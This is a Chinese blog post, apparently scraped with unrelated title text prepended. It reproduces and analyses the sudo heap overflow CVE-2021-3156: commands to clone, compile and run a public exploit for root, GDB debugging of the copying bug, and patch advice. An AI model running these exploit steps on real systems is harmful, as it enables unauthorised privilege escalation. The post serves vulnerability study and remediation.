自己搭建服务器做视频网站,为什么不建议学电子商务?,网站开发专利,网站如果建设文章目录 前言1、漏洞概述2、漏洞复现2.1、漏洞复现测试环境2.2、漏洞复现具体步骤 3、漏洞原理3.1、前置知识3.1.1、sudo3.1.2、sudoedit3.1.3、转义字符 3.2、漏洞分析 4、漏洞修复5、参考文献总结 前言 2021年01月27日#xff0c;RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风… 文章目录 前言1、漏洞概述2、漏洞复现2.1、漏洞复现测试环境2.2、漏洞复现具体步骤 3、漏洞原理3.1、前置知识3.1.1、sudo3.1.2、sudoedit3.1.3、转义字符 3.2、漏洞分析 4、漏洞修复5、参考文献总结 前言 2021年01月27日RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风险通告普通用户可以通过利用此漏洞而无需进行身份验证成功获取Root权限。 1、漏洞概述 1.9.5p2之前的Sudo包含一个off-by-one错误该错误可能导致基于堆的缓冲区溢出这允许通过sudoedit -s和以单个反斜杠字符结尾的命令行参数将权限提升到root。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息请参阅阿里云漏洞库和NVD
描述项具体值CVE编号CVE-2021-3156NVD评分7.8披露时间2021-01-27漏洞类型堆缓冲区溢出、Off-by-one错误、跨界内存写漏洞危害本地提权影响范围1.8.2sudo1.8.31p2、1.9.0sudo1.9.5p1是否有Patch无Patch是否可用暂无数据保密性无影响数据完整性无影响攻击路径本地攻击复杂度容易
2、漏洞复现
2.1、漏洞复现测试环境
软件环境硬件环境约束条件操作系统版本为ubuntu-18.04.5-desktop-amd64分配4个处理器每个处理器有4个内核处理器内核总数为161.8.2sudo1.8.31p2Linux内核版本为5.4.0-42-generic内存16GB1.9.0sudo1.9.5p1使用的虚拟机管理器为VMware 17.0.0硬盘400GB暂无
2.2、漏洞复现具体步骤 首先去文件服务器中查找是否存在符合当前漏洞条件的操作系统和Linux内核版本的组合的虚拟机系统如果存在则参考下文进行漏洞复现。否则请参阅“POC验证环境搭建规范”一文搭建满足当前漏洞条件的操作系统和Linux内核的组合的虚拟机系统并将其上传到我们的服务器后再参考下文进行漏洞复现。
首先查看当前Ubuntu系统的版本
$ lsb_release -a可以发现当前Ubuntu系统的版本为18.04.5 LTS 然后查看当前Ubuntu系统的Linux内核的版本
$ uname -r可以发现当前Ubuntu系统的Linux内核的版本为5.4.0-42-generic 然后使用如下命令查看当前系统中的sudo的版本
$ sudo --version可以发现当前系统中的sudo的版本为1.8.21p2 然后下载安装POC/CVE验证所需要的软件
$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install make -y
$ sudo apt-get install gcc -y
$ sudo apt-get install g -y然后来到当前用户的根目录中创建名为“CVE-2021-3156”的目录并进入此目录
$ cd ~
$ mkdir CVE-2021-3156
$ cd CVE-2021-3156/然后在名为“CVE-2021-3156”的目录中下载Exploit源码并进入其源码目录
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156/然后执行如下命令来编译源代码以得到用于POC/CVE验证的二进制文件
$ make然后使用如下命令查看上面的操作的结果
$ ll可以发现已经成功得到了用于POC/CVE验证的二进制文件 然后在此目录中继续创建一个名为“run.sh”的文件并编辑其
$ touch run.sh
$ gedit run.sh在打开的文件中输入如下内容。这些内容就是用来自动化和规范的来进行POC/CVE的验证
#!/bin/bash# Run script for CVE-2021-3156 exploit# Add any setup commands if needed
# Example: ./setup.sh# Run the exploit binary
./sudo-hax-me-a-sandwich 0# Add any cleanup commands if needed
# Example: rm -f some_fileecho Script execution completed.当我们做完以上操作后保存以上修改后退出然后赋予“run.sh”脚本执行权限并执行其以进行POC/CVE的验证
$ chmod x run.sh
$ ./run.sh执行上面的命令后发现已经成功利用此Exploit获取到了root用户的权限 我们可以使用如下命令进一步验证当前用户的权限
# whoami可以发现已经成功提权
3、漏洞原理
3.1、前置知识
3.1.1、sudo sudoSuperuser Do是一个在Unix和类Unix操作系统中用于以超级用户root用户权限执行命令的命令行工具。它允许系统管理员授权普通用户执行特定任务而不需要提供完整的超级用户凭证。以下是关于sudo工具的一些关键特点和用法
权限提升允许普通用户以超级用户身份执行特定的命令或访问受保护的文件通常需要输入用户自己的密码而不是超级用户密码。安全性提高系统的安全性因为用户只有在需要时才能获得超级用户权限并且所有的操作都可以被审计。配置文件可以通过配置文件通常是“/etc/sudoers”定义哪些用户可以执行哪些命令以及在执行这些命令时是否需要输入密码。命令格式sudo命令通常的格式为sudo [选项] 命令 [命令参数]。例如sudo ls /root允许普通用户以超级用户权限列出“/root”目录的内容。 请注意sudo可以用于在终端中执行单个命令也可以使用sudo -s或sudo su来启动一个新的shell以获取超级用户权限但这样的使用需要谨慎确保只有授权的用户可以执行。
3.1.2、sudoedit sudoedit是sudo命令的一个别名用于以超级用户root用户权限编辑文件。它允许普通用户在不需要完全切换到超级用户账户的情况下通过指定的文本编辑器编辑受保护的文件。以下是一些关于sudoedit命令的一些关键特点和用法
权限控制允许普通用户编辑系统中的文件而不需要直接使用超级用户权限。这有助于提高系统的安全性。配置文件类似于sudo命令sudoedit命令的权限也可以通过配置文件通常是“/etc/sudoers”进行定义和配置。安全性由于编辑器的选择是通过配置文件中指定的系统管理员可以限制用户可以使用的编辑器从而提高安全性。命令格式sudoedit命令的基本格式是sudoedit [选项] 文件。例如sudoedit /etc/hosts命令允许用户以超级用户权限编辑“/etc/hosts”文件。基本参数 -s或--shell打开一个新的shell允许用户以超级用户权限执行命令-h或--help显示sudoedit的帮助信息列出可用选项和参数-V或--version显示sudoedit的版本信息-b或--background在后台模式下运行编辑器。这对于在脚本或其他自动化任务中使用sudoedit可能很有用 使用sudoedit命令时用户通常会被要求输入他们自己的密码而不是超级用户密码以进行身份验证。这使得sudoedit更加安全因为系统可以追踪哪个用户以超级用户权限编辑了哪些文件。
3.1.3、转义字符 转义字符是一种用于表示一些特殊字符的机制通常通过在字符前面加上反斜杠\来实现。转义字符告诉解释器或编译器后面的字符应该以不同于其原始含义的方式被解释。以下是一些常见的转义字符及其用途
\n换行符用于在字符串中创建新的一行。\t制表符用于在字符串中插入水平制表符。\r回车符将光标移动到行首而不换行。双引号用于在双引号内表示双引号字符。单引号用于在单引号内表示单引号字符。\反斜杠用于在字符串中表示反斜杠字符本身。\x十六进制转义用于表示一个字符的十六进制值例如\x41表示字符’A’。 在编程语言和正则表达式等上下文中转义字符是为了能够处理和表示特殊字符以及避免与语言中的其他语法冲突。例如在字符串中使用转义字符可以让你插入一些特殊的字符而不会与字符串的边界或其他字符产生歧义。需要注意的是
C语言中\\表示\GDB中\\表示\
3.2、漏洞分析 为了分析CVE-2021-3156漏洞的原理我们需要从sudo工具的源代码级别对其进行分析还需要GDB对其进行调试。我们以1.8.31p1版本的sudo工具的源代码为例进行分析因为系统自带的sudo工具没有开启调试功能故无法对其进行分析且1.8.31p1版本的sudo工具也存在CVE-2021-3156漏洞当前首先需要下载此版本的sudo工具的源代码并进入其源代码目录中。
$ cd ~
$ wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
$ tar xf sudo-1.8.31p1.tar.gz
$ cd sudo-1.8.31p1/然后我们打开如下文件来查看其中内容。
$ gedit src/parse_args.c在打开的文件中定位到第590~第591行此部分代码属于名为“parse_args”的函数这部分代码添加了sudo命令对于特殊格式参数的转义的处理即如果参数不是数字或者字母并且不是_、-、$字符则对其进行转义。 然后我们关闭以上文件并打开如下文件来查看其中内容。
$ gedit plugins/sudoers/sudoers.c在打开的文件中定位到第864~第871行此部分代码属于名为“set_cmnd”的函数这部分代码的作用是去掉所有的转义符\因为外部的输入参数最终需要保存到内存中的堆或栈空间而这个名为“set_cmnd”的函数就是为了将命令行参数复制到堆内存所以需要去掉所有的转义符\。我们今天讨论的CVE-2021-3156漏洞源于此处的代码。 然后关闭以上文件即可。当我们对上述两个函数的作用有了一个清楚的认识之后现在假设当我们执行sudoedit -s \ python3 -c “print(‘A’*8)”命令会有两种情况
情况一首先使用parse_args函数对命令中的\进行转义然后传入set_cmnd函数中消除转义这个过程是没问题的最终可以正常执行命令情况二不使用parse_args函数对命令中的\进行转义然后也会进入set_cmnd函数中消除转义不过此时在for循环的拷贝过程中由于输入的参数只有一个\因为没有对其进行转义那么就会满足if判断的条件跳过\从而拷贝\后面的参数到user_args中即’AAAAAAAA’由于没有转义造成的第一次拷贝当使用while循环拷贝完毕后再次进入for循环又将’AAAAAAAA’拷贝到user_args中正常的第二次拷贝那此时很明显拷贝的数据已经超过了user_args的长度从而导出其发生堆溢出的情况这样我们就可以计算出对应的溢出地址对其插入shellcode最终可以让普通用户提权 下面我们将会使用GDB调试sudoedit -s \ python3 -c “print(‘A’*8)”命令来复现这整个过程。需要注意的是我们不能直接使用系统自带的sudo工具来复现整个过程因为其没有开启调试模式我们得手动编译安装sudo工具并开启调试模式这就要用到我们刚刚下载的sudo 1.8.31p1的源代码了。
首先进入刚刚下载的sudo 1.8.31p1的源代码目录中开启-g选项来安装此版本的sudo工具
$ cd ~/sudo-1.8.31p1/
$ ./configure CFLAGS-g
$ make
$ sudo make install
$ sudo cp src/sudo /usr/bin/sudo然后查看当前系统中的sudo工具的版本
$ sudo -V可以发现当前系统中的sudo工具的版本就是我们刚刚安装的sudo工具的版本 然后我们得安装GDB
$ sudo apt-get update
$ sudo apt-get install gdb -y然后对sudoedit -s \ python3 -c “print(‘A’*8)”命令进行调试
$ sudo gdb --args sudoedit -s \ python3 -c print(A*8)然后按照如下方式设置断点。注这里在设置断点的时候可能会提示我们找不到目标文件这很正常别担心因为sudo工具的代码是动态加载的我们只需要在这里设置好断点后面当我们调试程序的时候目标文件的代码就会自动加载进来了
(gdb) b main
(gdb) set follow-exec-mode new
(gdb) set breakpoint pending on
(gdb) b sudoers.c:858
(gdb) b sudoers.c:872然后运行程序并继续向下执行程序直到断点
(gdb) r
(gdb) c当我们遇到断点后查看user_args申请的内存空间的大小
(gdb) p size可以发现此时user_args申请的内存空间的大小为11这符合常理因为参数\和参数AAAAAAAA长度一共为9而每个字符串后面都还有\0作为占位符表示当前字符串结束所以长度一共为1129 我们可以查看一下此时NewArgv所指向的内存空间中的具体值
(gdb) p NewArgv[0]
(gdb) p NewArgv[1]
(gdb) p NewArgv[2]可以发现此时NewArgv所指向的内存空间中的具体值和我们预想的一样 经过上面的分析我们是通过以下代码完成对NewArgv[1]和NewArgv[2]中的数据到user_args的拷贝
if (from[0] \\ !isspace((unsigned char)from[1])) from; 以上代码中的from就指向了NewArgv如果传入的参数为\那么就会进入上面的代码段完成对参数的拷贝不过此拷贝过程不会停止因为一直都满足if判断的条件直到拷贝完参数AAAAAAAA才结束这一轮的拷贝。所以我们重点关注NewArgv[1]后面的值因为NewArgv[1]指向的内存空间就存储了传入的参数\
(gdb) x/20xb 0x7ffe6a73d834可以发现NewArgv[1]后面刚好是AAAAAAAA这就印证了我们的猜想 然后查看一下此时还没有开始拷贝的user_args指向的内存空间的地址和其中的具体值
(gdb) p sudo_user.cmnd_args
(gdb) x/8xg 0x55a1702eb6a0可以发现此时user_args指向的内存空间的地址为“0x55a1702eb6a0”其中的具体值如下图所示 然后从此处的断点继续向下执行程序来完成所有的拷贝过程直到下一个断点
(gdb) c当我们完成拷贝过程后再次查看user_args指向的内存空间中的具体值
(gdb) x/8xg 0x55a1702eb6a0可以发现参数AAAAAAAA被复制了两次这就验证了我们的猜想 为了进一步验证我们的猜想我们来查看拷贝完成之后指针停留的内存空间地址即指针to指向的内存空间的地址
(gdb) p to然后计算并打印拷贝完成后的内存空间的大小
(gdb) p 0x55a1702eb6b3-0x55a1702eb6a0可以发现拷贝完成后的内存空间的大小为19刚好多了参数AAAAAAAA的长度即19118。那么经过以上分析已经成功验证了我们所有猜想证明了CVE-2021-3156漏洞确实可以导致堆/栈溢出 最后我们顺序执行如下命令结束本次调试即可如果有提示输入“y”或者“n”我们只需要输入“y”后按一下“Enter”即可
(gdb) quit4、漏洞修复 下载升级sudo软件包下载链接为https://www.sudo.ws/dist/ …… 关于此漏洞补丁的详细信息请参阅https://avd.aliyun.com/detail?idAVD-2021-3156。
5、参考文献
阿里云漏洞库NVDExploitCVE-2021-3156 漏洞复现【CVE-2021-3156】linux sudo提权漏洞复现及修复cve-2021-3156-sudo堆溢出简单分析CVE-2021-3156分析CVE-2021-3156 sudo本地提权漏洞分析CVE-2021-3156调试分享Download Sudo | Sudosudo版本升级以消除CVE-2021-3156修复CVE-2021-3156漏洞的具体方法 总结 以上就是关于CVE-2021-3156的全部内容了后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复我们下篇博客见